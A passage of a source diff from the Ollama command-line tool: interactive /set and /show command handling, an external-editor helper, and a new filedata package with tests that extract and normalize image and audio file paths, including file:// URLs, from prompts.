||||
}
|
||||
|
||||
multiline = MultilineSystem
|
||||
|
||||
line := strings.Join(args[2:], " ")
|
||||
line, ok := strings.CutPrefix(line, `"""`)
|
||||
if !ok {
|
||||
multiline = MultilineNone
|
||||
} else {
|
||||
// only cut suffix if the line is multiline
|
||||
line, ok = strings.CutSuffix(line, `"""`)
|
||||
if ok {
|
||||
multiline = MultilineNone
|
||||
}
|
||||
}
|
||||
|
||||
sb.WriteString(line)
|
||||
if multiline != MultilineNone {
|
||||
scanner.Prompt.UseAlt = true
|
||||
continue
|
||||
}
|
||||
|
||||
opts.System = sb.String() // for display in modelfile
|
||||
newMessage := api.Message{Role: "system", Content: sb.String()}
|
||||
// Check if the slice is not empty and the last message is from 'system'
|
||||
if len(opts.Messages) > 0 && opts.Messages[len(opts.Messages)-1].Role == "system" {
|
||||
// Replace the last message
|
||||
opts.Messages[len(opts.Messages)-1] = newMessage
|
||||
} else {
|
||||
opts.Messages = append(opts.Messages, newMessage)
|
||||
}
|
||||
fmt.Println("Set system message.")
|
||||
sb.Reset()
|
||||
continue
|
||||
default:
|
||||
fmt.Printf("Unknown command '/set %s'. Type /? for help\n", args[1])
|
||||
}
|
||||
} else {
|
||||
usageSet()
|
||||
}
|
||||
case strings.HasPrefix(line, "/show"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) > 1 {
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't connect to ollama server")
|
||||
return err
|
||||
}
|
||||
req := &api.ShowRequest{
|
||||
Name: opts.Model,
|
||||
System: opts.System,
|
||||
Options: opts.Options,
|
||||
}
|
||||
resp, err := client.Show(cmd.Context(), req)
|
||||
if err != nil {
|
||||
fmt.Println("error: couldn't get model")
|
||||
return err
|
||||
}
|
||||
|
||||
switch args[1] {
|
||||
case "info":
|
||||
_ = showInfo(resp, false, os.Stderr)
|
||||
case "license":
|
||||
if resp.License == "" {
|
||||
fmt.Println("No license was specified for this model.")
|
||||
} else {
|
||||
fmt.Println(resp.License)
|
||||
}
|
||||
case "modelfile":
|
||||
fmt.Println(resp.Modelfile)
|
||||
case "parameters":
|
||||
fmt.Println("Model defined parameters:")
|
||||
if resp.Parameters == "" {
|
||||
fmt.Println(" No additional parameters were specified for this model.")
|
||||
} else {
|
||||
for _, l := range strings.Split(resp.Parameters, "\n") {
|
||||
fmt.Printf(" %s\n", l)
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
if len(opts.Options) > 0 {
|
||||
fmt.Println("User defined parameters:")
|
||||
for k, v := range opts.Options {
|
||||
fmt.Printf(" %-*s %v\n", 30, k, v)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
case "system":
|
||||
switch {
|
||||
case opts.System != "":
|
||||
fmt.Println(opts.System + "\n")
|
||||
case resp.System != "":
|
||||
fmt.Println(resp.System + "\n")
|
||||
default:
|
||||
fmt.Println("No system message was specified for this model.")
|
||||
}
|
||||
case "template":
|
||||
if resp.Template != "" {
|
||||
fmt.Println(resp.Template)
|
||||
} else {
|
||||
fmt.Println("No prompt template was specified for this model.")
|
||||
}
|
||||
default:
|
||||
fmt.Printf("Unknown command '/show %s'. Type /? for help\n", args[1])
|
||||
}
|
||||
} else {
|
||||
usageShow()
|
||||
}
|
||||
case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
|
||||
args := strings.Fields(line)
|
||||
if len(args) > 1 {
|
||||
switch args[1] {
|
||||
case "set", "/set":
|
||||
usageSet()
|
||||
case "show", "/show":
|
||||
usageShow()
|
||||
case "shortcut", "shortcuts":
|
||||
usageShortcuts()
|
||||
}
|
||||
} else {
|
||||
usage()
|
||||
}
|
||||
case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
|
||||
return nil
|
||||
case strings.HasPrefix(line, "/"):
|
||||
args := strings.Fields(line)
|
||||
isFile := false
|
||||
|
||||
if opts.MultiModal {
|
||||
for _, f := range extractFileNames(line) {
|
||||
if strings.HasPrefix(f, args[0]) {
|
||||
isFile = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !isFile {
|
||||
fmt.Printf("Unknown command '%s'. Type /? for help\n", args[0])
|
||||
continue
|
||||
}
|
||||
|
||||
sb.WriteString(line)
|
||||
default:
|
||||
sb.WriteString(line)
|
||||
}
|
||||
|
||||
if sb.Len() > 0 && multiline == MultilineNone {
|
||||
newMessage := api.Message{Role: "user", Content: sb.String()}
|
||||
|
||||
if opts.MultiModal {
|
||||
msg, images, err := extractFileData(sb.String())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
newMessage.Content = msg
|
||||
newMessage.Images = images
|
||||
}
|
||||
|
||||
opts.Messages = append(opts.Messages, newMessage)
|
||||
|
||||
assistant, err := chat(cmd, opts)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "does not support thinking") ||
|
||||
strings.Contains(err.Error(), "invalid think value") {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
sb.Reset()
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
if assistant != nil {
|
||||
opts.Messages = append(opts.Messages, *assistant)
|
||||
}
|
||||
|
||||
sb.Reset()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func NewCreateRequest(name string, opts runOptions) *api.CreateRequest {
|
||||
parentModel := opts.ParentModel
|
||||
|
||||
modelName := model.ParseName(parentModel)
|
||||
if !modelName.IsValid() {
|
||||
parentModel = ""
|
||||
}
|
||||
|
||||
// Preserve explicit cloud intent for sessions started with `:cloud`.
|
||||
// Cloud model metadata can return a source-less parent_model (for example
|
||||
// "qwen3.5"), which would otherwise make `/save` create a local derivative.
|
||||
if modelref.HasExplicitCloudSource(opts.Model) && !modelref.HasExplicitCloudSource(parentModel) {
|
||||
parentModel = ""
|
||||
}
|
||||
|
||||
req := &api.CreateRequest{
|
||||
Model: name,
|
||||
From: cmp.Or(parentModel, opts.Model),
|
||||
}
|
||||
|
||||
if opts.System != "" {
|
||||
req.System = opts.System
|
||||
}
|
||||
|
||||
if len(opts.Options) > 0 {
|
||||
req.Parameters = opts.Options
|
||||
}
|
||||
|
||||
messages := slices.Clone(opts.LoadedMessages)
|
||||
messages = append(messages, opts.Messages...)
|
||||
if len(messages) > 0 {
|
||||
req.Messages = messages
|
||||
}
|
||||
|
||||
return req
|
||||
}
|
||||
|
||||
func normalizeFilePath(fp string) string {
|
||||
return strings.NewReplacer(
|
||||
"\\ ", " ", // Escaped space
|
||||
"\\(", "(", // Escaped left parenthesis
|
||||
"\\)", ")", // Escaped right parenthesis
|
||||
"\\[", "[", // Escaped left square bracket
|
||||
"\\]", "]", // Escaped right square bracket
|
||||
"\\{", "{", // Escaped left curly brace
|
||||
"\\}", "}", // Escaped right curly brace
|
||||
"\\$", "$", // Escaped dollar sign
|
||||
"\\&", "&", // Escaped ampersand
|
||||
"\\;", ";", // Escaped semicolon
|
||||
"\\'", "'", // Escaped single quote
|
||||
"\\\\", "\\", // Escaped backslash
|
||||
"\\*", "*", // Escaped asterisk
|
||||
"\\?", "?", // Escaped question mark
|
||||
"\\~", "~", // Escaped tilde
|
||||
).Replace(fp)
|
||||
}
|
||||
|
||||
func extractFileNames(input string) []string {
|
||||
// Regex to match file paths starting with optional drive letter, / ./ \ or .\ and include escaped or unescaped spaces (\ or %20)
|
||||
// and followed by more characters and a file extension
|
||||
// This will capture non filename strings, but we'll check for file existence to remove mismatches
|
||||
regexPattern := `(?:[a-zA-Z]:)?(?:\./|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b`
|
||||
re := regexp.MustCompile(regexPattern)
|
||||
|
||||
return re.FindAllString(input, -1)
|
||||
}
|
||||
|
||||
func extractFileData(input string) (string, []api.ImageData, error) {
|
||||
filePaths := extractFileNames(input)
|
||||
var imgs []api.ImageData
|
||||
|
||||
for _, fp := range filePaths {
|
||||
nfp := normalizeFilePath(fp)
|
||||
data, err := getImageData(nfp)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
continue
|
||||
} else if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Couldn't process file: %q\n", err)
|
||||
return "", imgs, err
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(nfp))
|
||||
switch ext {
|
||||
case ".wav":
|
||||
fmt.Fprintf(os.Stderr, "Added audio '%s'\n", nfp)
|
||||
default:
|
||||
fmt.Fprintf(os.Stderr, "Added image '%s'\n", nfp)
|
||||
}
|
||||
input = strings.ReplaceAll(input, "'"+nfp+"'", "")
|
||||
input = strings.ReplaceAll(input, "'"+fp+"'", "")
|
||||
input = strings.ReplaceAll(input, fp, "")
|
||||
imgs = append(imgs, data)
|
||||
}
|
||||
return strings.TrimSpace(input), imgs, nil
|
||||
}
|
||||
|
||||
func editInExternalEditor(content string) (string, error) {
|
||||
editor := envconfig.Editor()
|
||||
if editor == "" {
|
||||
editor = os.Getenv("VISUAL")
|
||||
}
|
||||
if editor == "" {
|
||||
editor = os.Getenv("EDITOR")
|
||||
}
|
||||
if editor == "" {
|
||||
editor = defaultEditor
|
||||
}
|
||||
|
||||
// Check that the editor binary exists
|
||||
name := strings.Fields(editor)[0]
|
||||
if _, err := exec.LookPath(name); err != nil {
|
||||
return "", fmt.Errorf("editor %q not found, set OLLAMA_EDITOR to the path of your preferred editor", name)
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "ollama-prompt-*.txt")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("creating temp file: %w", err)
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
|
||||
if content != "" {
|
||||
if _, err := tmpFile.WriteString(content); err != nil {
|
||||
tmpFile.Close()
|
||||
return "", fmt.Errorf("writing to temp file: %w", err)
|
||||
}
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
args := strings.Fields(editor)
|
||||
args = append(args, tmpFile.Name())
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("editor exited with error: %w", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(tmpFile.Name())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("reading temp file: %w", err)
|
||||
}
|
||||
|
||||
return strings.TrimRight(string(data), "\n"), nil
|
||||
}
|
||||
|
||||
func getImageData(filePath string) ([]byte, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
buf := make([]byte, 512)
|
||||
_, err = file.Read(buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
contentType := http.DetectContentType(buf)
|
||||
allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
|
||||
if !slices.Contains(allowedTypes, contentType) {
|
||||
return nil, fmt.Errorf("invalid file type: %s", contentType)
|
||||
}
|
||||
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var maxSize int64 = 100 * 1024 * 1024 // 100MB
|
||||
if info.Size() > maxSize {
|
||||
return nil, errors.New("file size exceeds maximum limit (100MB)")
|
||||
}
|
||||
|
||||
buf = make([]byte, info.Size())
|
||||
_, err = file.Seek(0, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
_, err = io.ReadFull(file, buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return buf, nil
|
||||
}
|
||||
@@ -1,116 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
func TestExtractFilenames(t *testing.T) {
|
||||
// Unix style paths
|
||||
input := ` some preamble
|
||||
./relative\ path/one.png inbetween1 ./not a valid two.jpg inbetween2 ./1.svg
|
||||
/unescaped space /three.jpeg inbetween3 /valid\ path/dir/four.png "./quoted with spaces/five.JPG
|
||||
/unescaped space /six.webp inbetween6 /valid\ path/dir/seven.WEBP`
|
||||
res := extractFileNames(input)
|
||||
assert.Len(t, res, 7)
|
||||
assert.Contains(t, res[0], "one.png")
|
||||
assert.Contains(t, res[1], "two.jpg")
|
||||
assert.Contains(t, res[2], "three.jpeg")
|
||||
assert.Contains(t, res[3], "four.png")
|
||||
assert.Contains(t, res[4], "five.JPG")
|
||||
assert.Contains(t, res[5], "six.webp")
|
||||
assert.Contains(t, res[6], "seven.WEBP")
|
||||
assert.NotContains(t, res[4], '"')
|
||||
assert.NotContains(t, res, "inbetween1")
|
||||
assert.NotContains(t, res, "./1.svg")
|
||||
|
||||
// Windows style paths
|
||||
input = ` some preamble
|
||||
c:/users/jdoe/one.png inbetween1 c:/program files/someplace/two.jpg inbetween2
|
||||
/absolute/nospace/three.jpeg inbetween3 /absolute/with space/four.png inbetween4
|
||||
./relative\ path/five.JPG inbetween5 "./relative with/spaces/six.png inbetween6
|
||||
d:\path with\spaces\seven.JPEG inbetween7 c:\users\jdoe\eight.png inbetween8
|
||||
d:\program files\someplace\nine.png inbetween9 "E:\program files\someplace\ten.PNG
|
||||
c:/users/jdoe/eleven.webp inbetween11 c:/program files/someplace/twelve.WebP inbetween12
|
||||
d:\path with\spaces\thirteen.WEBP some ending
|
||||
`
|
||||
res = extractFileNames(input)
|
||||
assert.Len(t, res, 13)
|
||||
assert.NotContains(t, res, "inbetween2")
|
||||
assert.Contains(t, res[0], "one.png")
|
||||
assert.Contains(t, res[0], "c:")
|
||||
assert.Contains(t, res[1], "two.jpg")
|
||||
assert.Contains(t, res[1], "c:")
|
||||
assert.Contains(t, res[2], "three.jpeg")
|
||||
assert.Contains(t, res[3], "four.png")
|
||||
assert.Contains(t, res[4], "five.JPG")
|
||||
assert.Contains(t, res[5], "six.png")
|
||||
assert.Contains(t, res[6], "seven.JPEG")
|
||||
assert.Contains(t, res[6], "d:")
|
||||
assert.Contains(t, res[7], "eight.png")
|
||||
assert.Contains(t, res[7], "c:")
|
||||
assert.Contains(t, res[8], "nine.png")
|
||||
assert.Contains(t, res[8], "d:")
|
||||
assert.Contains(t, res[9], "ten.PNG")
|
||||
assert.Contains(t, res[9], "E:")
|
||||
assert.Contains(t, res[10], "eleven.webp")
|
||||
assert.Contains(t, res[10], "c:")
|
||||
assert.Contains(t, res[11], "twelve.WebP")
|
||||
assert.Contains(t, res[11], "c:")
|
||||
assert.Contains(t, res[12], "thirteen.WEBP")
|
||||
assert.Contains(t, res[12], "d:")
|
||||
}
|
||||
|
||||
// Ensure that file paths wrapped in single quotes are removed with the quotes.
|
||||
func TestExtractFileDataRemovesQuotedFilepath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "img.jpg")
|
||||
data := make([]byte, 600)
|
||||
copy(data, []byte{
|
||||
0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F',
|
||||
0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xff, 0xd9,
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test image: %v", err)
|
||||
}
|
||||
|
||||
input := "before '" + fp + "' after"
|
||||
cleaned, imgs, err := extractFileData(input)
|
||||
assert.NoError(t, err)
|
||||
assert.Len(t, imgs, 1)
|
||||
assert.Equal(t, cleaned, "before after")
|
||||
}
|
||||
|
||||
func TestExtractFileDataWAV(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "sample.wav")
|
||||
data := make([]byte, 600)
|
||||
copy(data[:44], []byte{
|
||||
'R', 'I', 'F', 'F',
|
||||
0x58, 0x02, 0x00, 0x00, // file size - 8
|
||||
'W', 'A', 'V', 'E',
|
||||
'f', 'm', 't', ' ',
|
||||
0x10, 0x00, 0x00, 0x00, // fmt chunk size
|
||||
0x01, 0x00, // PCM
|
||||
0x01, 0x00, // mono
|
||||
0x80, 0x3e, 0x00, 0x00, // 16000 Hz
|
||||
0x00, 0x7d, 0x00, 0x00, // byte rate
|
||||
0x02, 0x00, // block align
|
||||
0x10, 0x00, // 16-bit
|
||||
'd', 'a', 't', 'a',
|
||||
0x34, 0x02, 0x00, 0x00, // data size
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test audio: %v", err)
|
||||
}
|
||||
|
||||
input := "before " + fp + " after"
|
||||
cleaned, imgs, err := extractFileData(input)
|
||||
assert.NoError(t, err)
|
||||
assert.Len(t, imgs, 1)
|
||||
assert.Equal(t, "before after", cleaned)
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
package filedata
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type File struct {
|
||||
Path string
|
||||
Data api.ImageData
|
||||
}
|
||||
|
||||
func NormalizePath(fp string) string {
|
||||
fp = strings.Trim(fp, "\"")
|
||||
fp = strings.NewReplacer(
|
||||
"\\ ", " ",
|
||||
"\\(", "(",
|
||||
"\\)", ")",
|
||||
"\\[", "[",
|
||||
"\\]", "]",
|
||||
"\\{", "{",
|
||||
"\\}", "}",
|
||||
"\\$", "$",
|
||||
"\\&", "&",
|
||||
"\\;", ";",
|
||||
"\\'", "'",
|
||||
"\\\\", "\\",
|
||||
"\\*", "*",
|
||||
"\\?", "?",
|
||||
"\\~", "~",
|
||||
).Replace(fp)
|
||||
|
||||
if u, err := url.Parse(fp); err == nil && strings.EqualFold(u.Scheme, "file") {
|
||||
return normalizeFileURL(u)
|
||||
} else if normalized, ok := normalizeMalformedFileURL(fp); ok {
|
||||
return normalized
|
||||
}
|
||||
|
||||
return fp
|
||||
}
|
||||
|
||||
func ExtractNames(input string) []string {
|
||||
regexPattern := `(?:file://\S+?\.(?i:jpg|jpeg|png|webp|wav)\b)|(?:(?:[a-zA-Z]:)?(?:\./|\.\\|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b)`
|
||||
re := regexp.MustCompile(regexPattern)
|
||||
|
||||
return re.FindAllString(input, -1)
|
||||
}
|
||||
|
||||
func Extract(input string) (string, []api.ImageData, error) {
|
||||
cleaned, files, err := ExtractWithFiles(input)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
data := make([]api.ImageData, 0, len(files))
|
||||
for _, file := range files {
|
||||
data = append(data, file.Data)
|
||||
}
|
||||
return cleaned, data, nil
|
||||
}
|
||||
|
||||
func ExtractWithFiles(input string) (string, []File, error) {
|
||||
filePaths := ExtractNames(input)
|
||||
var files []File
|
||||
|
||||
for _, fp := range filePaths {
|
||||
nfp := NormalizePath(fp)
|
||||
data, err := GetData(nfp)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
continue
|
||||
} else if err != nil {
|
||||
return "", files, fmt.Errorf("couldn't process file %q: %w", nfp, err)
|
||||
}
|
||||
input = strings.ReplaceAll(input, "'"+nfp+"'", "")
|
||||
input = strings.ReplaceAll(input, "'"+fp+"'", "")
|
||||
input = strings.ReplaceAll(input, `"`+nfp+`"`, "")
|
||||
input = strings.ReplaceAll(input, `"`+fp+`"`, "")
|
||||
input = strings.ReplaceAll(input, fp, "")
|
||||
files = append(files, File{Path: nfp, Data: data})
|
||||
}
|
||||
return strings.TrimSpace(input), files, nil
|
||||
}
|
||||
|
||||
func GetData(filePath string) ([]byte, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
buf := make([]byte, 512)
|
||||
_, err = file.Read(buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
contentType := http.DetectContentType(buf)
|
||||
allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
|
||||
if !slices.Contains(allowedTypes, contentType) {
|
||||
return nil, fmt.Errorf("invalid file type: %s", contentType)
|
||||
}
|
||||
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var maxSize int64 = 100 * 1024 * 1024
|
||||
if info.Size() > maxSize {
|
||||
return nil, errors.New("file size exceeds maximum limit (100MB)")
|
||||
}
|
||||
|
||||
buf = make([]byte, info.Size())
|
||||
_, err = file.Seek(0, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
_, err = io.ReadFull(file, buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
func Kind(path string) string {
|
||||
if strings.EqualFold(filepath.Ext(path), ".wav") {
|
||||
return "audio"
|
||||
}
|
||||
return "image"
|
||||
}
|
||||
|
||||
func normalizeFileURL(u *url.URL) string {
|
||||
path := u.Path
|
||||
if unescaped, err := url.PathUnescape(path); err == nil {
|
||||
path = unescaped
|
||||
}
|
||||
host := u.Host
|
||||
if unescaped, err := url.PathUnescape(host); err == nil {
|
||||
host = unescaped
|
||||
}
|
||||
if len(host) >= 2 && host[1] == ':' && isASCIIAlpha(host[0]) {
|
||||
return filepath.Clean(filepath.FromSlash(host + path))
|
||||
}
|
||||
if len(path) >= 4 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
|
||||
path = path[1:]
|
||||
}
|
||||
if u.Host != "" && !strings.EqualFold(u.Host, "localhost") {
|
||||
return `\\` + u.Host + filepath.FromSlash(path)
|
||||
}
|
||||
return filepath.FromSlash(path)
|
||||
}
|
||||
|
||||
func normalizeMalformedFileURL(raw string) (string, bool) {
|
||||
const prefix = "file://"
|
||||
if !strings.HasPrefix(strings.ToLower(raw), prefix) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
path := raw[len(prefix):]
|
||||
if unescaped, err := url.PathUnescape(path); err == nil {
|
||||
path = unescaped
|
||||
}
|
||||
path = strings.TrimPrefix(path, "localhost")
|
||||
if len(path) >= 3 && path[0] == '/' && path[2] == ':' && isASCIIAlpha(path[1]) {
|
||||
path = path[1:]
|
||||
}
|
||||
if len(path) >= 2 && path[1] == ':' && isASCIIAlpha(path[0]) {
|
||||
return filepath.Clean(filepath.FromSlash(path)), true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
func isASCIIAlpha(b byte) bool {
|
||||
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
package filedata
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNormalizePathMalformedWindowsFileURL(t *testing.T) {
|
||||
got := NormalizePath(`file://C:%5CUsers%5Cjdoe%5CPictures%5Cimg.png`)
|
||||
want := filepath.Clean(`C:\Users\jdoe\Pictures\img.png`)
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizePathTwoSlashWindowsFileURL(t *testing.T) {
|
||||
got := NormalizePath(`file://C:/Users/jdoe/Pictures/img.png`)
|
||||
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizePathLocalhostWindowsFileURL(t *testing.T) {
|
||||
got := NormalizePath(`file://localhost/C:/Users/jdoe/Pictures/img.png`)
|
||||
want := filepath.Clean(`C:/Users/jdoe/Pictures/img.png`)
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractNames(t *testing.T) {
|
||||
// Unix style paths
|
||||
input := ` some preamble
|
||||
./relative\ path/one.png inbetween1 ./not a valid two.jpg inbetween2 ./1.svg
|
||||
/unescaped space /three.jpeg inbetween3 /valid\ path/dir/four.png "./quoted with spaces/five.JPG
|
||||
/unescaped space /six.webp inbetween6 /valid\ path/dir/seven.WEBP`
|
||||
res := ExtractNames(input)
|
||||
if len(res) != 7 {
|
||||
t.Fatalf("len = %d, want 7", len(res))
|
||||
}
|
||||
assertContains(t, res[0], "one.png")
|
||||
assertContains(t, res[1], "two.jpg")
|
||||
assertContains(t, res[2], "three.jpeg")
|
||||
assertContains(t, res[3], "four.png")
|
||||
assertContains(t, res[4], "five.JPG")
|
||||
assertContains(t, res[5], "six.webp")
|
||||
assertContains(t, res[6], "seven.WEBP")
|
||||
assertNotContains(t, res[4], "\"")
|
||||
for _, r := range res {
|
||||
assertNotContains(t, r, "inbetween1")
|
||||
}
|
||||
assertNotContainsSlice(t, res, "./1.svg")
|
||||
}
|
||||
|
||||
func TestExtractNamesWindowsPaths(t *testing.T) {
|
||||
input := ` some preamble
|
||||
c:/users/jdoe/one.png inbetween1 c:/program files/someplace/two.jpg inbetween2
|
||||
/absolute/nospace/three.jpeg inbetween3 /absolute/with space/four.png inbetween4
|
||||
./relative\ path/five.JPG inbetween5 "./relative with/spaces/six.png inbetween6
|
||||
d:\path with\spaces\seven.JPEG inbetween7 c:\users\jdoe\eight.png inbetween8
|
||||
d:\program files\someplace\nine.png inbetween9 "E:\program files\someplace\ten.PNG
|
||||
c:/users/jdoe/eleven.webp inbetween11 c:/program files/someplace/twelve.WebP inbetween12
|
||||
d:\path with\spaces\thirteen.WEBP some ending
|
||||
`
|
||||
res := ExtractNames(input)
|
||||
if len(res) != 13 {
|
||||
t.Fatalf("len = %d, want 13", len(res))
|
||||
}
|
||||
assertNotContainsSlice(t, res, "inbetween2")
|
||||
assertContains(t, res[0], "one.png")
|
||||
assertContains(t, res[0], "c:")
|
||||
assertContains(t, res[1], "two.jpg")
|
||||
assertContains(t, res[1], "c:")
|
||||
assertContains(t, res[2], "three.jpeg")
|
||||
assertContains(t, res[3], "four.png")
|
||||
assertContains(t, res[4], "five.JPG")
|
||||
assertContains(t, res[5], "six.png")
|
||||
assertContains(t, res[6], "seven.JPEG")
|
||||
assertContains(t, res[6], "d:")
|
||||
assertContains(t, res[7], "eight.png")
|
||||
assertContains(t, res[7], "c:")
|
||||
assertContains(t, res[8], "nine.png")
|
||||
assertContains(t, res[8], "d:")
|
||||
assertContains(t, res[9], "ten.PNG")
|
||||
assertContains(t, res[9], "E:")
|
||||
assertContains(t, res[10], "eleven.webp")
|
||||
assertContains(t, res[10], "c:")
|
||||
assertContains(t, res[11], "twelve.WebP")
|
||||
assertContains(t, res[11], "c:")
|
||||
assertContains(t, res[12], "thirteen.WEBP")
|
||||
assertContains(t, res[12], "d:")
|
||||
}
|
||||
|
||||
func TestExtractNamesDragDropPaths(t *testing.T) {
|
||||
input := `file:///Users/jdoe/Pictures/one.png file://localhost/C:/Users/jdoe/Pictures/two.webp file:///C:/Users/jdoe/Pictures/three.jpg .\relative\four.png`
|
||||
res := ExtractNames(input)
|
||||
if len(res) != 4 {
|
||||
t.Fatalf("len = %d, want 4", len(res))
|
||||
}
|
||||
assertContains(t, res[0], "file:///Users/jdoe/Pictures/one.png")
|
||||
assertContains(t, res[1], "file://localhost/C:/Users/jdoe/Pictures/two.webp")
|
||||
assertContains(t, res[2], "file:///C:/Users/jdoe/Pictures/three.jpg")
|
||||
assertContains(t, res[3], `.\relative\four.png`)
|
||||
}
|
||||
|
||||
func TestNormalizePathFileURL(t *testing.T) {
|
||||
got := NormalizePath("file:///C:/Users/jdoe/Pictures/img.png")
|
||||
want := filepath.FromSlash("C:/Users/jdoe/Pictures/img.png")
|
||||
if got != want {
|
||||
t.Fatalf("path = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractRemovesQuotedFilepath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "img.jpg")
|
||||
data := make([]byte, 600)
|
||||
copy(data, []byte{
|
||||
0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F',
|
||||
0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xff, 0xd9,
|
||||
})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test image: %v", err)
|
||||
}
|
||||
|
||||
input := "before '" + fp + "' after"
|
||||
cleaned, imgs, err := Extract(input)
|
||||
if err != nil {
|
||||
t.Fatalf("err: %v", err)
|
||||
}
|
||||
if len(imgs) != 1 {
|
||||
t.Fatalf("imgs = %d, want 1", len(imgs))
|
||||
}
|
||||
if cleaned != "before after" {
|
||||
t.Fatalf("cleaned = %q, want %q", cleaned, "before after")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractFileURL(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
fp := filepath.Join(dir, "img.png")
|
||||
data := make([]byte, 600)
|
||||
copy(data, []byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
|
||||
if err := os.WriteFile(fp, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write test image: %v", err)
|
||||
}
|
||||
|
||||
fileURL := (&url.URL{Scheme: "file", Path: fp}).String()
|
||||
cleaned, imgs, err := Extract("before " + fileURL + " after")
|
||||
if err != nil {
|
||||
t.Fatalf("err: %v", err)
|
